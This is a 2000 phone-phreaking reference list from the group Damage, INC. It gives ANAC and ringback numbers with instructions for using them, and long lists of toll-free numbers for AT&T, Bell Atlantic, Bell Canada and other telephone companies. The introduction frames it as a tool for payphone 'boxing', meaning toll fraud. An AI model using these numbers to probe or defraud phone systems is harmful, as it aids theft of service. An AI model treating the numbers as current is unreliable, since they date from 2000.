+THC Phreak, BLACKENED, Shatazar, Helena3, Breaker, x25lurker, Tobias, Nevada,
+Fringe, , Syko416, Lord Narayana, 1dot1, Overflow Trap, Fatal Vision,
+Voyageur514, Silent Sentry, L00pster5, Phearless One, The Clone, Loud Ton3y,
+Cultist, The Pusher, Gerfalcon, Jackal, Anarchist613, Betsi, RedBoxChiliPepper,
+Logic Box, hevnsnt, Aftermath, Goldeneye, Jester, The Hitman, radigan, KingPiN,
+tOrnak, Hollywood Vampire, Err418, Mister T, InfestDead, Toxic Twin, Snake Eyes,
+not_in_service, Wrathchild, 1ns4n3 Pr3d4t0r,ÿDevilinDisguise, Aneurysm (204),
+Hollow Point, Metabolis, Phractal, absolut zero (416), The Anchorite, Vortex,
+La Jolla, aeon, Charles Forbin, Telco Terminus, BiohazzardTen, zxyx, Rev-Eng,
+Dark Tangent, Jack Phlash, Cyb0rg/ASM, dea)(alm, , roamer1, The Exec,
+C5man, Schizophreakic.
+
+Special thanks goes out to RedBoxChiliPepper (Phone Losers of America) for the
+PLA Telephone Director0y. It was an inspiration to us. :)
+
+It was created, scanned, compiled, verified and distributed by phreaks, for
+phreaks. And in addition to that, it's damn phreaky. Have phun... and look
+for more releases courtesy of Damage, INC. and Blamerica Phreaky Industries.
+
+- Blackie Lawless
+
+ Copyright 2000 by Damage, INC. All Rights Reserved.
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+ _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
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+======================== "The name speaks for itself!" ========================
+
+ Phreaky Field Phreaking List.
+ ú Summer 2000 Edition ú
+ (Released: 07/25/00)
+
+ http://surf.to/damage_inc
+ damage_inc@disinfo.net
+===============================================================================
+
+Introduction:
+
+Hey phreaks, this is the long awaited 6th edition of the Damage, INC. Phreaky
+Field Phreaking List. We recommend that you print it out and take it with you
+on all of your boxing expeditions or for use as a reference while at payphones.
+Hell, just take it with you wherever you travel. You never know when you're
+going to need it. :) This comprehensive list includes many toll free numbers
+for telcos, test numbers, conferences, computer companies, carriers, cellular,
+and other services, etc. It's not just damn phreaky, it's the phreakiest!
+
+Disclaimer:
+
+The Damage, INC. Phreaky Field Phreaking List is for informational purposes
+only. We are not responsible for how it is used, including but not restricted
+to any fraudulent, illegal acts that may be committed, unauthorized access of
+systems, loss/theft of services or any damages that may be caused as a result
+of someone else's activities. If/how you use these numbers is entirely your
+choice. In summary, you're legally responsible for your own deeds and actions.
+Now that the legal shit has been thoroughly covered, here's what you have all
+been waiting for... :)
+
+-------------------------------------------------------------------------------
+ ANACs/ANIs and Ringbacks:
+-------------------------------------------------------------------------------
+
+Local ANACs:
+
+(204) 644-4444 Manitoba.
+(306) 115 Saskatchewan.
+(403) 311 Alberta, Yukon and N.W. Territory.
+(403) 908-222-2222 Alberta, Yukon and N.W. Territory.
+(403) 999 Alberta, Yukon and N.W. Territory.
+(416) 997-1699 Toronto, Ontario.
+(416) 997-8123 Toronto, Ontario.
+(416) 997-XXXX Toronto, Ontario.
+(506) 1-555-1313 New Brunswick.
+(514) 320-0047 Slow ANAC for Montreal, Quebec.
+(514) 320-1147 Fast ANAC for Montreal, Quebec.
+(514) 320-1223 Montreal, Quebec.
+(514) 320-1232 Montreal, Quebec.
+(514) 320-1233 Montreal, Quebec.
+(514) 320-XXXX Montreal, Quebec.
+(519) 320-XXXX London, Ontario.
+(519) 748-3220 Kitchener, Ontario. (press "1" for ANI)
+(604) 1116 British Columbia.
+(604) 1211 British Columbia.
+(604) 211 British Columbia.
+(613) 320-2232 Ottawa, Ontario.
+(613) 320-5123 Kingston/Belleville/Southeastern Ontario.
+(613) 320-5124 Kingston/Belleville/Southeastern Ontario.
+(613) 320-9123 Kingston/Belleville/Southeastern Ontario.
+(615) 557-2311 Nashville, Tennessee.
+(705) 320-4567 North Bay, Ontario.
+(819) 320-1112 Sherbrooke, Quebec.
+(954) 780-2411 Fort Lauderdale, Florida.
+
+Notes: There are also common 3 digit ANACs such as 958 in many U.S. NPAs.
+ANACs (Automatic Number Announcement Circuits) are numbers that when dialed will
+read back the telephone number of the calling party in an automated voice. It
+should be obvious how useful they can be in certain situations. Please don't
+overuse or abuse the toll free ANACs that've been provided. Use local ANACs
+whenever possible to ensure that the 800s listed below remain active.
+
+Toll Free ANACs:
+
+1-800-222-6000 eVoice by Nokia. Press "88,06" for ANI. ("88,05" for date/time)
+1-800-346-0152 ANAC.
+1-800-4-BLOCKME VRS Billing Systems/IntegriTel has free 1-800 blocking & ANAC.
+1-800-487-9240 ANAC (doesn't work from 519)
+1-800-514-9939 ANAC (doesn't work from 416/519)
+1-800-532-7486 AT&T Credit and Accounts Center. (Press "1,1" for ANI)
+1-800-555-1160 ANAC (always busy now...)
+1-800-555-1170 ANAC (always busy now...)
+1-800-569-5699 ANAC (press "7*#")
+1-800-638-2392 Press "2" for ANAC.
+1-800-666-1379 Press "1,3,1" for ANAC.
+1-800-692-6447 (1-800-MY-ANI-IS) Requires a passcode.
+1-800-727-5207 MCI WorldCom. (reads back ANI)
+
+Ringbacks:
+
+305-780-6095 Miami, Florida (305)
+311-XXX-XXXX British Columbia (604)
+320-XXX-XXXX Montreal, Quebec (514)
+320-XXX-XXXX Quebec (819)
+507-XXX-XXXX Alberta.
+572+XXX-XXXX New Brunswick (506)
+575-XXX-XXXX Halifax, Nova Scotia (902)
+57X-XXXX Toronto, Ontario (416)
+590-XXX-XXXX Manitoba (204)
+777-XXX-XXXX Indiana.
+871-XXX-XXXX British Columbia (604)
+954-780-6321 Ringback for 954 NPA.
+954-999-XXXX Ringback for 954 NPA.
+999-XXX-XXXX Alberta (403), Yukon, and N.W. Territories (867)
+999-XXX-XXXX Hamilton/Mississauga/Niagara Falls, Ontario (905)
+999-XXX-XXXX North Bay, Ontario (705)
+999-XXX-XXXX Ottawa, Ontario (613)
+999-XXX-XXXX Ringback for 519 NPA.
+999-XXX-XXXX Ringback for portions of Toronto, Ontario (416)
+99X-XXXX Toronto, Ontario (416)
+
+Note: Most Ringbacks require you to dial 3 digits plus your 7 digit telephone
+number, flash the hook quickly (or press the flash button if you have one), wait
+for a tone and then hangup. Seconds later your phone should begin ringing. To
+interrupt and cancel the ringing, answer and press a button or hangup again.
+
+For more ANACs and Ringbacks, download Voyager's alt.2600/#Hack FAQ from
+http://www.attrition.org/~voyager/faq.html
+
+
+-------------------------------------------------------------------------------
+ AT&T:
+-------------------------------------------------------------------------------
+
+1-800-221-0000 AT&T Interactive Advantage Customer Support Line.
+1-800-221-7680 AT&T Digital Video Center.
+1-800-222-0300 AT&T Main Number.
+1-800-222-0400 AT&T Custom Care Centre (for long distance service)
+1-800-222-0900 AT&T Customer Care Center.
+1-800-222-1000 AT&T Customer Care Center.
+1-800-222-3000 AT&T Customer Service.
+1-800-222-5111 Lucent/Phillips Communications/AT&T Telephones.
+1-800-222-7747 AT&T Gift Certificates.
+1-800-222-7956 AT&T Global ISDN Customer Care Center.
+1-800-222-8555 AT&T Long Distance Certificates.
+1-800-223-4507 AT&T.
+1-800-225-1718 AT&T Prepaid Phone Cards Customer Service.
+1-800-225-5288 (1-800-CALL-ATT) AT&T Collect Calls.
+1-800-225-5856 AT&T's Vendor Agent Program.
+1-800-232-8200 AT&T Personal Rewards.
+1-800-233-1222 AT&T National Special Needs Center (NSNC) Voice.
+1-800-235-4288 AT&T America.
+1-800-241-LOST AT&T Lost/Stolen Calling Cards.
+1-800-242-2422 Loral Skynet Satellite Services (formerly AT&T Skynet)
+1-800-242-6005 AT&T Internet Services.
+1-800-243-0506 AT&T Find America Directory Service.
+1-800-247-1212 AT&T.
+1-800-247-6636 AT&T Wireless Services In-Flight Customer Care.
+1-800-248-3632 AT&T Data Network Business Information Solutions.
+1-800-252-7266 AT&T Alascom. (Anchorage, Alaska)
+1-800-253-3846 AT&T Customer Care Center for the Federal Government.
+1-800-254-8442 AT&T Repairs and Billing.
+1-800-255-1242 AT&T Customer Information Center (Canada)
+1-800-258-0123 AT&T Customer Care Center.
+1-800-266-4014 AT&T Payroll and Employee Verification.
+1-800-268-5931 AT&T Wireless Service VMB.
+1-800-268-5939 AT&T (Operator)
+1-800-305-9494 AT&T Wireless (MetroCall) Messaging.
+1-800-322-MWBE AT&T Supplier Diversity Program Information Line.
+1-800-325-0138 AT&T Small Business Customer Care.
+1-800-325-1230 AT&T Calling Card Inquiries.
+1-800-331-3449 AT&T Employee Line (Lists AT&T Job openings)
+1-800-338-8095 AT&T (Mandarin)
+1-800-338-8097 AT&T (Korean, Cantonese, Mandarin)
+1-800-338-8106 AT&T (Cantonese)
+1-800-338-8120 AT&T (Japanese)
+1-800-342-5288 AT&T Customer Care Center.
+1-800-344-5100 AT&T Voice/ISDN Services.
+1-800-344-9248 AT&T.
+1-800-345-4746 AT&T (Tagalog)
+1-800-348-8288 AT&T Shareholder Services.
+1-800-351-5855 AT&T Helpdesk.
+1-800-361-2218 AT&T Canada.
+1-800-362-9689 AT&T Customer Network Service Center.
+1-800-367-7956 AT&T Switched Repair Service Center.
+1-800-387-1026 AT&T Canada Business Sales.
+1-800-387-1926 AT&T Canada Customer Care Centre.
+1-800-4-ONE-RATE AT&T One Rate plan subscriptions.
+1-800-400-1447 AT&T WorldNet Service Billing.
+1-800-418-8999 AT&T Customer Care Center. (long distance service)
+1-800-422-6622 AT&T Call Acquisition/Fault Management Helpline.
+1-800-423-4343 AT&T Universal Card.
+1-800-424-6030 AT&T's Matching Gift Processing Center.
+1-800-425-5288 AT&T Products and Services.
+1-800-426-8686 AT&T Printed Directories. (U.S. only)
+1-800-428-8468 AT&T Global Services Center.
+1-800-428-8669 (1-800-4ATT-NOW) AT&T Personal Network Sales Center.
+1-800-435-7375 AT&T EasyLink Technical Support. (U.S. only)
+1-800-438-3151 AT&T Wireless, Job Line.
+1-800-443-8288 (1-800-GIFT-ATT) AT&T Gift Certificates.
+1-800-446-7466 (1-800-4GOPHONE) AT&T Wireless GoPhone Services.
+1-800-448-1008 AT&T Carrier Choice Protection.
+1-800-448-8600 AT&T Global Customer Service Center.
+1-800-462-4463 Rogers AT&T Wireless.
+1-800-483-9288 AT&T and Texaco's Information Line.
+1-800-503-6961 AT&T New York Local One Rate Sales.
+1-800-503-6962 AT&T Texas Local One Rate Sales.
+1-800-505-2162 AT&T Management Employment.
+1-800-522-2157 AT&T Investigations Department.
+1-800-524-2455 AT&T Customer Care.
+1-800-525-7955 AT&T Direct Call Cards.
+1-800-526-0253 AT&T Business Continuity Recovery Center.
+1-800-528-0465 AT&T CampusWide Access Solutions.
+1-800-532-2021 AT&T Carrier Line Charge Information.
+1-800-538-5345 AT&T Slamming Resolution Center.
+1-800-542-2025 AT&T (Russian)
+1-800-552-3373 AT&T Wireless Advanced Network Services Support.
+1-800-555-8111 AT&T Consumer Lease Services.
+1-800-562-2255 AT&T 1-800 Directory Advertising.
+1-800-562-6275 AT&T Message Sender (Send automated messages to any number)
+1-800-562-7288 (1-800-JOBS-ATT) AT&T Employee Line. (U.S. only.)
+1-800-562-7288 AT&T Occupational Employment.
+1-800-565-4708 AT&T Canada Long Distance Services.
+1-800-567-3692 AT&T Canada Long Distance Services. (French)
+1-800-567-4672 AT&T Canada Electronic Commerce Services.
+1-800-575-5511 AT&T Canada Long Distance Services.
+1-800-575-5533 AT&T Canada Residential Sales. (French)
+1-800-575-9999 AT&T Canada.
+1-800-628-8486 AT&T Language Line Services.
+1-800-634-8078 AT&T Billing Office/Accounts info.
+1-800-637-0007 AT&T Network Management Support (NMSC), Lucent. (options)
+1-800-643-2255 AT&T Translation Service. (Foreign languages only)
+1-800-647-9808 AT&T (Hindi)
+1-800-661-2268 Rogers AT&T Wireless Automated Self-Service System.
+1-800-662-3036 AT&T Texas Local One Rate Service.
+1-800-662-6214 AT&T Calling Card Protection line.
+1-800-662-7759 (1-800-66-APPLY) AT&T Universal Card.
+1-800-662-8439 AT&T Employee Benefits.
+1-800-670-2255 AT&T Canada Long Distance Services.
+1-800-670-6000 AT&T Canada Long Distance Services.
+1-800-673-7286 AT&T 1-800-OPERATOR. Specializes in collect calls. Automated.
+1-800-678-7918 AT&T Business Customer Care Center.
+1-800-682-8706 AT&T Telecommunications Relay Customer Service. (Voice)
+1-800-682-8786 AT&T Telecommunications Relay (TTY)
+1-800-7-HOSTIN AT&T Internet Services.
+1-800-732-2255 AT&T High Seas Radio Telephone and Mobile Satellite Services.
+1-800-746-7846 AT&T Internet Services.
+1-800-752-0093 AT&T Language Line Services.
+1-800-752-6096 AT&T Language Line Customer Service Center.
+1-800-790-2255 AT&T Canada Long Distance Services.
+1-800-790-6000 AT&T Canada Long Distance Services.
+1-800-807-2466 AT&T Learning Points Program.
+1-800-820-6464 AT&T Digital Long Distance/ISDN Services.
+1-800-822-9009 AT&T Corporate Security, internal investigations.
+1-800-826-2600 AT&T (Polish)
+1-800-827-1226 AT&T Global Network Systems.
+1-800-830-2255 AT&T Canada Long Distance Services.
+1-800-831-5259 AT&T WorldNet Business/Data Services.
+1-800-833-0520 AT&T (Vietnamese)
+1-800-833-3232 AT&T ACS Long Distance Bill Inquiries.
+1-800-833-8134 Telecommunications Relay Service (TRS) Voice Callers (non-TDD/TT)
+1-800-842-9710 AT&T Telecommunications Relay Service (TRS) for TDD/TT users.
+1-800-850-TIES AT&T Easy Reach 800. (Call to setup Easy Reach 800s)
+1-800-852-8935 AT&T Amcom Software Helpline.
+1-800-855-1155 AT&T LDRS Directory Assistance. (TTY Carrier for the deaf)
+1-800-855-2880 AT&T Long Distance Relay Service (TTY)
+1-800-855-2881 AT&T Long Distance Relay Service (automated/voice)
+1-800-855-2882 AT&T Long Distance Relay Service (TTY)
+1-800-855-2883 AT&T Long Distance Relay Service (TTY)
+1-800-858-9857 AT&T True Rewards (option 1)
+1-800-872-3883 AT&T Operator.
+1-800-878-3123 (1-800-TRUE-123) AT&T True Messages Service.
+1-800-878-3500 AT&T True Connections Personal 500 Number Service.
+1-800-888-7600 AT&T Wireless Customer Service.
+1-800-889-4408 AT&T NCC (Network Control Center) and TCC.
+1-800-892-3850 AT&T Wireless Long-Distance Service.
+1-800-942-6726 AT&T Usage Minimum.
+1-800-957-9000 AT&T Canada.
+1-800-958-2255 AT&T Canada Long Distance Services.
+1-800-958-6000 AT&T Canada Long Distance Services.
+1-800-959-1090 AT&T New York Local Service.
+1-800-967-5363 AT&T WorldNet Service.
+1-800-970-2255 AT&T Canada Long Distance Services.
+1-800-998-3947 AT&T Authorized Stocking Distributor/Zack Electronics.
+1-800-ATT-4ALL AT&T New York Local Service.
+1-800-FIND-ATT AT&T FIND Center. (resource to find out AT&T numbers and info)
+1-800-GIFT-ATT AT&T Gift Certificates (extension 410) (Mon-Fri, 9-5)
+1-800-IMAGINE Rogers AT&T Wireless.
+1-800-MEGSCOM AT&T Outbound MEGACOM WATS? Call back.
+1-800-TRAINER AT&T 800 Trainer (Corporate) Education Center.
+1-800-WORLDNET (1-800-96753638) AT&T Canada Internet Service.
+1-877-379-4199 AT&T Canada ADSL Internet Service.
+1-877-397-3636 AT&T Canada ADSL Internet Service.
+1-877-472-6793 AT&T HR Answers.
+1-877-ATT-2345 AT&T Canada Long Distance Services. (Main Switchboard)
+1-888-387-8852 AT&T Order Center. (order AT&T d0x!)
+1-888-8-METNET MetroNet AT&T Canada.
+1-888-863-8638 AT&T Canada Customer Service.
+1-888-888-5413 AT&T WorldNet Service.
+1-888-928-8932 (1-888-9ATT-WEB) AT&T Online Customer Service.
+1-888-933-1212 AT&T Cellular phone accessories. (U.S. only)
+1-888-ATT-1233 AT&T Canada Internet Service.
+1-888-ATT-ALL1 AT&T Customer Care Center.
+1-888-ATT-INTL AT&T International Helpline in Basking Ridge, NJ.
+1-888-ATT-TRW3 AT&T True Rewards Account questions.
+1-888-OUR-FAMILY AT&T. (Join the AT&T family)
+
+
+-------------------------------------------------------------------------------
+ Ameritech:
+-------------------------------------------------------------------------------
+
+(314) 444-4444 Ameritech (St. Louis Office)
+1-800-207-2228 Ameritech.
+1-800-221-0994 Ameritech Cellular and Paging.
+1-800-242-3225 Ameritech Messaging/Monitoring.
+1-800-244-4444 Ameritech Customer Billing Office (works outside of Illinois)
+1-800-249-4449 Ameritech Yellow Pages Advertising Sales.
+1-800-257-0902 Ameritech Main Office.
+1-800-292-9340 Ameritech Pressure Cleaning Systems.
+1-800-323-7311 Ameritech Capital Services.
+1-800-327-3470 Ameritech Advertising Services.
+1-800-331-5454 Ameritech.
+1-800-346-4377 Ameritech Directory Order Center.
+1-800-433-8505 Ameritech Special Needs Center.
+1-800-446-PAGE Ameritech Cellular and Paging.
+1-800-451-2761 Ameritech.
+1-800-468-3949 Ameritech Automated Services.
+1-800-475-7449 Ameritech Payphone Repair.
+1-800-480-8088 Ameritech Business Solutions Center.
+1-800-493-7243 Ameritech Quick Reach Pager Services.
+1-800-523-7076 Ameritech Security Systems.
+1-800-553-9591 Ameritech Pages Plus Advertising.
+1-800-572-4545 Ameritech's Automated Trouble Report/Repair System.
+1-800-621-4533 Ameritech Bilingual Customer Service.
+1-800-621-8650 Ameritech's Lifeline program.
+1-800-624-8291 Ameritech Employment Office. (Illinois)
+1-800-642-4289 Ameritech Advertising.
+1-800-647-9000 Ameritech Pages Plus Advertising.
+1-800-649-3777 Ameritech. (TTY/TDD)
+1-800-660-1000 Ameritech Customer Service.
+1-800-660-3000 Ameritech Small Business Services.
+1-800-662-4531 Ameritech Cellular and Paging.
+1-800-680-6808 Ameritech Business Solutions Center.
+1-800-707-9999 Ameritech.
+1-800-719-5822 Ameritech Dedicated Internet Access.
+1-800-762-4210 SBC Ameritech Information Industry Services.
+1-800-769-4099 Ameritech Annoyance Call Bureau.
+1-800-809-0878 Ameritech Payphones.
+1-800-821-0173 Ameritech Cellular and Paging Services.
+1-800-824-9410 SBC Ameritech Listing Service Group.
+1-800-848-CAST Ameritech (Americast) Cable Services.
+1-800-873-5501 Ameritech's automated billing.
+1-800-924-1000 Ameritech Customer Service.
+1-800-942-9240 Ameritech Employment Office. (Chicago area)
+1-800-AMERITECH Ameritech. Calling card, collect calls, operator assisted.
+1-800-EASY-FIND Ameritech Employee Finder.
+1-800-MOBILE-1 Ameritech Cellular and Paging.
+1-800-NET-8775 Ameritech Interactive Media Services. (Internet)
+1-800-WORKLIFE Ameritech Home Office Telecom Center.
+1-877-235-2994 Ameritech Cellular.
+1-877-432-3279 Ameritech.
+1-888-282-9566 Ameritech Security Systems.
+1-888-635-5050 Ameritech Products and Services.
+1-888-AMERITECH Ameritech.
+
+
+-------------------------------------------------------------------------------
+ BCTel/TELUS:
+-------------------------------------------------------------------------------
+
+1-800-447-2688 BCTel Mobility's EasyTouch Service.
+1-800-472-9773 TELUS (Payphone Dept.)
+1-800-563-0624 TELUS Fax.
+1-800-567-0000 TELUS Customer Relations Department.
+1-800-575-2355 BCTELUS Help Center.
+1-800-661-2355 BCTel Mobility Customer Service.
+1-800-661-4260 TELUS Advertising.
+1-800-661-6074 TELUS Mobility Paging Customer Service.
+1-800-663-1011 BCTel's Billing Inquiry System.
+1-800-663-1440 BCTel Call Center/Accounts.
+1-800-663-2234 BCTel Network Sales.
+1-800-663-2455 BCTel Mobility Customer Service Department.
+1-800-973-2223 TELUS Directory Delivery Service. (order phone books!)
+1-877-310-6110 TELUS Today Customer Service.
+1-877-344-3330 BCTel Mobility.
+1-888-685-2355 BCTel Multiple Option Messaging.
+1-888-811-2323 BCTel Customer Service.
+1-888-823-6873 TELUS Call Center Solutions.
+1-888-867-7587 (1-888-TMS-PLUS) TELUS.
+1-888-905-2284 BCTel Interactive Business Solutions.
+1-888-TELUS-11 TELUS Services.
+1-888-TELUS-22 TELUS Business Sales and Service.
+
+
+-------------------------------------------------------------------------------
+ Bell Atlantic:
+-------------------------------------------------------------------------------
+
+1-800-221-4393 Bell Atlantic VMS.
+1-800-222-7900 Bell Atlantic.
+1-800-225-5400 Bell Atlantic.
+1-800-244-2355 Bell Atlantic's Interactive Demo Center.
+1-800-255-2255 Bell Atlantic 1-800-255-CALL.
+1-800-255-BELL Bell Atlantic Mobile.
+1-800-257-5554 Bell Atlantic Services/Computer Repair.
+1-800-273-0053 Bell Atlantic 24 Hour Account Info (English & Spanish)
+1-800-275-2355 (1-800-275-BELL) Bell Atlantic Repair.
+1-800-281-8584 Bell Atlantic 24 Hour Account Info (English & Spanish)
+1-800-297-2355 Bell Atlantic's Major Customer Center.
+1-800-327-8412 Bell Atlantic Professional Services.
+1-800-338-9144 Bell Atlantic Federal.
+1-800-365-5810 Bell Atlantic Customer Information Line. (good telco info)
+1-800-416-9639 Bell Atlantic Help Desk.
+1-800-446-9639 Bell Atlantic Yellow Pages Customer Relations.
+1-800-510-2595 Bell Atlantic Massachusetts Recruitment Center.
+1-800-526-4611 Bell Atlantic Telecom Vendor's Service Leasing Dept.
+1-800-538-4747 Bell Atlantic Mobile.
+1-800-550-9840 Bell Atlantic Long Distance.
+1-800-556-2355 Bell Atlantic Communications.
+1-800-621-8900 Bell Atlantic Corporate Headquarters.
+1-800-621-9900 Bell Atlantic Corporate Switchboard.
+1-800-631-2355 Bell Atlantic Shareowner Services.
+1-800-636-2355 Bell Atlantic Communications.
+1-800-646-3337 Bell Atlantic Federal Integrated Solutions Maintenance Center.
+1-800-647-NEWS Bell Atlantic Employee News line. (Daily recorded messages)
+1-800-651-2020 Bell Atlantic Credit Card from Chase.
+1-800-652-2355 Bell Atlantic Yellow Pages.
+1-800-660-2355 Bell Atlantic Mobile's Loyalty Management Services Department.
+1-800-678-4796 Bell Atlantic New Jersey Recruitment Center.
+1-800-678-4802 Bell Atlantic Upstate New York Recruitment Center.
+1-800-678-4809 Bell Atlantic Maryland/Washington DC/Virginia Recruitment Center.
+1-800-678-4816 Bell Atlantic Delaware/West Virginia Recruitment Center.
+1-800-678-4869 Bell Atlantic Pennsylvania Recruitment Center.
+1-800-727-2231 Bell Atlantic.
+1-800-755-1068 Bell Atlantic Customer Service. (New Jersey)
+1-800-822-0409 Bell Atlantic Teleproducts/Telephone Equipment.
+1-800-830-2355 Bell Atlantic Mobile.
+1-800-843-2255 Bell Atlantic Small Business Direct Response Center.
+1-800-846-1200 Bell Atlantic Large Business Solution Center.
+1-800-922-0204 Bell Atlantic Mobile.
+1-800-934-2255 Bell Atlantic.
+1-800-993-BANI Bell Atlantic Network Integration Technical Assistance Center.
+1-800-994-BANI Bell Atlantic Network Integration Human Resources.
+1-800-PIC-BANI Bell Atlantic Network Integration Inside Sales Department.
+1-800-WORK-4BA Bell Atlantic Automated Job Line.
+1-877-263-0049 Bell Atlantic Video and DirecTV Service.
+1-877-588-BELL Bell Atlantic Video Sales Department.
+1-877-WITH-YOU Bell Atlantic Mobile Tele-Sales Department.
+1-888-206-2355 Bell Atlantic.
+1-888-208-2355 Bell Atlantic.
+1-888-219-2355 Bell Atlantic.
+1-888-221-2355 Bell Atlantic.
+1-888-223-2355 Bell Atlantic.
+1-888-264-2355 (1-888-ANI-BELL) Bell Atlantic Caller ID.
+1-888-281-6279 Bell Atlantic Communications.
+1-888-289-7309 Bell Atlantic Communications.
+1-888-387-3800 Bell Atlantic Customer Service.
+1-888-466-4646 Verizon Wireless. (Bell Atlantic, AirTouch and PrimeCo)
+1-888-550-7095 Bell Atlantic Communications.
+1-888-550-8178 Bell Atlantic Communications.
+1-888-634-8910 Bell Atlantic Communications.
+1-888-677-2355 Bell Atlantic View at One Support.
+1-888-689-3820 Bell Atlantic Long Distance.
+1-888-698-1205 Bell Atlantic Long Distance.
+1-888-730-2355 Bell Atlantic.
+1-888-741-2355 Bell Atlantic.
+1-888-743-2355 Bell Atlantic.
+1-888-745-2355 Bell Atlantic.
+1-888-749-2355 Bell Atlantic.
+1-888-751-2355 Bell Atlantic.
+1-888-780-3961 Bell Atlantic 24 Hour Account Info (English & Spanish)
+1-888-780-3962 Bell Atlantic 24 Hour Account Info (English & Spanish)
+1-888-780-3964 Bell Atlantic 24 Hour Account Info (English & Spanish)
+1-888-780-3965 Bell Atlantic 24 Hour Account Info (English & Spanish)
+1-888-781-2355 Bell Atlantic.
+1-888-782-2355 Bell Atlantic.
+1-888-811-8731 Bell Atlantic Long Distance.
+1-888-831-4947 Bell Atlantic Long Distance.
+1-888-955-8141 Bell Atlantic Communications.
+1-888-955-8361 Bell Atlantic Communications.
+1-888-969-2355 Bell Atlantic.
+1-888-983-2355 Bell Atlantic.
+1-888-984-2355 Bell Atlantic.
+1-888-985-2355 Bell Atlantic.
+1-888-986-2355 Bell Atlantic.
+1-888-988-2355 Bell Atlantic.
+1-888-989-2355 Bell Atlantic.
+1-888-990-2355 Bell Atlantic.
+1-888-992-2355 Bell Atlantic.
+1-888-993-2355 Bell Atlantic.
+1-888-996-2355 Bell Atlantic.
+1-888-997-2355 Bell Atlantic.
+1-888-BIG-YELLOW Bell Atlantic Big Yellow Pages.
+1-888-CALL-471 Bell Atlantic Benefits Center.
+
+
+-------------------------------------------------------------------------------
+ BCE/Bell Canada/Stentor:
+-------------------------------------------------------------------------------
+
+1-416-555-1313 Bell's local CN/A office for Toronto.
+1-613-238-3103 Bell Canada Data Repair. (Ottawa Office)
+310-1212 QuebecTel Customer Service Centre.
+310-2355 Telephone Directory Ordering (free local directories)
+310-BELL Bell Canada Customer Services. (toll free)
+310-FAST Bell Sympatico.
+310-INTERNET Bell Sympatico.
+310-SURF Bell Sympatico.
+811 Northwestel Call Centre. (BC, NWT, Yukon)
+
+1-800-225-5180 Bell Canada Client Service Center.
+1-800-232-3227 Telcordia Technologies (Bellcore) FACS Customer Information Line.
+1-800-238-8636 Bell Labs.
+1-800-253-5011 Bell Mobility Paging.
+1-800-256-2355 Bell Nexxia. (after hours OcTel VMB)
+1-800-263-3899 Bell Mobility Customer Service.
+1-800-263-7412 Bell Canada Millennium Help Line.
+1-800-263-8394 Bell Mobility.
+1-800-265-0123 Bell Mobility Ardis Division Sales.
+1-800-265-3076 Telesat Satellite Network Operations Control.
+1-800-265-5925 Bell Canada Business Repair. (Data & I.X. Voice Repair)
+1-800-267-0123 Bell Mobility's Automated Express Lane System. (reports EST)
+1-800-267-0424 Bell Nexxia Customer Care.
+1-800-267-1870 Telesat Canada.
+1-800-267-2355 Bell Mobility Quebec.
+1-800-267-5353 Tele-Direct Atlantic.
+1-800-267-6511 IslandTel Special Needs Centre (Tdd)
+1-800-267-6574 Bell Canada Datapac Customer Assistance Centre.
+1-800-267-7002 Tele-Direct.
+1-800-267-7640 Bell Canada's Ident-a-Call demonstration line. ("*" to enter VMS)
+1-800-267-9502 Bell Canada. (Operator)
+1-800-267-9556 Bell Canada.
+1-800-268-1720 Bell Canada Multimedia.
+1-800-268-2323 Bell ActiMedia.
+1-800-268-2355 Bell Mobility Ottawa Office.
+1-800-268-3550 Bell ActiMedia Internet Services.
+1-800-268-5637 Bell ActiMedia (call to purchase CAN, USA and INTL. directories)
+1-800-268-5933 Bell Canada Quickchange Department.
+1-800-268-8531 Bell Repair.
+1-800-268-9100 Bell Canada 1-900, 976, Information Line (they send Faxes)
+1-800-268-9107 Bell Canada Customer Care.
+1-800-268-9160 Bell Canada Information Service Line.
+1-800-270-2355 Business Consulting Group of Bell Canada.
+1-800-323-6628 Bell Laboratories.
+1-800-331-9948 Bell Canada Relay Service Customer Comment Line.
+1-800-339-6359 BCE Investor Relations. (Montreal)
+1-800-348-2226 IslandTel.
+1-800-360-2373 Northern Telephone Service Center.
+1-800-360-8555 Northern Telephone Limited.
+1-800-361-0804 Telesat.
+1-800-361-1423 Bell Canada (Dis)Advantage Conferencing.
+1-800-361-3489 Bell Canada Customer Billing Center.
+1-800-361-6010 Bell ActiMedia Yellow Pages.
+1-800-361-7874 Bell Canada Millennium (Unknown)
+1-800-361-8717 Bell Canada Professional Services. (Montreal)
+1-800-361-9844 Bell Canada SmartTouch Information Line. (French)
+1-800-363-2355 Bell Canada's Total Solution Center for Business.
+1-800-363-3781 Bell Mobility Paging.
+1-800-363-5001 Bell ActiMedia Yellow Pages.
+1-800-363-6522 Stentor Calling Card Centre.
+1-800-363-9612 Bell Technical Services.
+1-800-387-4411 Bell Canada's Business Direct Marketing Centre.
+1-800-387-4441 Bell Advantage Call Centre Solutions. (Telemarketing)
+1-800-387-5072 Bell Mobility's Activation Department.
+1-800-387-5185 Bell Phonecentre Information Line.
+1-800-387-9571 Bell Mobility Radio.
+1-800-387-9999 Bell Gardium Security Representative.
+1-800-405-6486 Telecom Canada Ltd.
+1-800-439-2355 Direct Bell. (Wireless Communications)
+1-800-461-1156 Bell ActiMedia.
+1-800-461-1747 Bell Canada Millennium (Voice Test)
+1-800-461-1760 Bell Canada Millennium (Unknown)
+1-800-461-1879 Bell Canada Millennium (Data Test)
+1-800-461-2921 Bell Canada SmartTouch Information Line.
+1-800-461-5711 Northern Telephone.
+1-800-461-7243 Bell ActiMedia Sales Office. (formerly Yellow Pages Tele-Direct)
+1-800-461-9819 Northern Telephone Ltd.
+1-800-463-4778 Bell Canada Professional Services. (Quebec City)
+1-800-463-4833 Bell ActiMedia Yellow Pages.
+1-800-463-5376 Bell CSR-Quebec (Quebec City)
+1-800-465-2355 Bell Mobility.
+1-800-465-6960 Bell ActiMedia.
+1-800-470-2355 Bell Mobility.
+1-800-491-2355 Pacific Link Communications Mississauga (Bell Mobility Center)
+1-800-521-CORE Bellcore.
+1-800-555-1111 Bell LD. 3 way calling, calling card and many other features.
+1-800-555-4999 Bell Canada Residential and Business Service.
+1-800-561-0934 BCE Inquiry Line.
+1-800-561-2355 Bell Mobility. (French)
+1-800-561-4459 NBTel Internet.
+1-800-561-6283 NBTel Customer Care Center.
+1-800-561-8868 Stentor's Country Direct Information Line.
+1-800-561-8888 Stentor's Calling Card Centre.
+1-800-563-2900 NewTel Communications.
+1-800-563-3794 Bell Mobility (Ottawa Office)
